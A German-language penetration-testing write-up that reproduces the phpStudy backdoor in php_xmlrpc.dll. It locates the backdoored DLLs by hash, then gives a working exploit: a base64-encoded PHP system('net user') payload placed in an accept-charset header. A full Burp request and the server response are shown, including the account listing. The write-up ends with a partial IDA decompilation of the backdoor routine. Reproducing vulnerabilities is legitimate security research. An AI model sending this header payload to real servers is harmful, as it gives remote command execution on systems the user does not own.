PHPStudy-Backdoor – Reproduktion der Backdoor-Sicherheitslücke

phpstudy-DLL-Backdoor für v2016 und v2018

0x01 Suche nach der Backdoor-DLL

D:\Pentester\phpStudy>python check.py
=== .\php\php-5.2.17\ext\php_xmlrpc.dll ===
@eval(%s('%s'));
%s;@eval(%s('%s'));
=== .\php\php-5.4.45\ext\php_xmlrpc.dll ===
@eval(%s('%s'));
%s;@eval(%s('%s'));

D:\Pentester\phpStudy>

>>>D:\Pentester\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
>>>D:\Pentester\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll


D:\Pentester\phpStudy>md5sum .\php\php-5.2.17\ext\php_xmlrpc.dll
\0f7ad38e7a9857523dfbce4bce43a9e9 *.\\php\\php-5.2.17\\ext\\php_xmlrpc.dll

D:\Pentester\phpStudy>md5sum  .\php\php-5.4.45\ext\php_xmlrpc.dll
\c339482fd2b233fb0a555b629c0ea5d5 *.\\php\\php-5.4.45\\ext\\php_xmlrpc.dll

0x02 Exploit

1. Zuerst die PHP-Version der Zielwebsite ermitteln, dann Befehle ausführen und die Server-Informationen der Zielwebsite ausgeben
2. Einen festen String per MD5 generieren, um zu prüfen, ob die Ausführung erfolgreich war

accept-charset: echo system("net user");echo PHP_VERSION;

Base64-Kodierung

accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7ZWNobyBQSFBfVkVSU0lPTjs=

BurpSuite-Anfrage

GET / HTTP/1.1
Host: 172.16.9.174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7ZWNobyBQSFBfVkVSU0lPTjs=
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

BurpSuite-Antwort

HTTP/1.1 200 OK
Date: Tue, 24 Sep 2019 15:06:18 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 17223


\\JAS502N µÄÓû§ÕÊ»§

-------------------------------------------------------------------------------
Administrator            CTF                      DefaultAccount           
defaultuser0             Guest                    
ÃüÁî³É¹¦Íê³É¡£

5.4.45

ida F5

int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)
{
  int v3; // edx
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // esi
  char *v8; // edi
  char *v9; // ecx
  int v10; // eax
  char *v11; // esi
  int v12; // eax
  char *v13; // edi
  char *v14; // ecx
  _DWORD *v15; // esi
  int v16; // eax
  int v17; // edx
  int v18; // eax
  int v19; // edi
  _DWORD *v20; // esi
  int result; // eax
  int v22; // eax
  int v23; // ecx
  int v24; // eax
  int v25; // edi
  _DWORD *v26; // esi
  char v27; // [esp+Dh] [ebp-19Bh]
  __int16 v28; // [esp+BDh] [ebp-EBh]
  char v29; // [esp+BFh] [ebp-E9h]
  char v30; // [esp+C0h] [ebp-E8h]
  char v31; // [esp+100h] [ebp-A8h]
  char v32; // [esp+140h] [ebp-68h]
  char v33; // [esp+180h] [ebp-28h]
  const char ***v34; // [esp+184h] [ebp-24h]
  int v35; // [esp+188h] [ebp-20h]
  int v36; // [esp+18Ch] [ebp-1Ch]
  const char ***v37; // [esp+190h] [ebp-18h]
  int v38; // [esp+194h] [ebp-14h]
  _DWORD **v39; // [esp+198h] [ebp-10h]
  int v40; // [esp+19Ch] [ebp-Ch]
  char *v41; // [esp+1A0h] [ebp-8h]
  char *v42; // [esp+1A4h] [ebp-4h]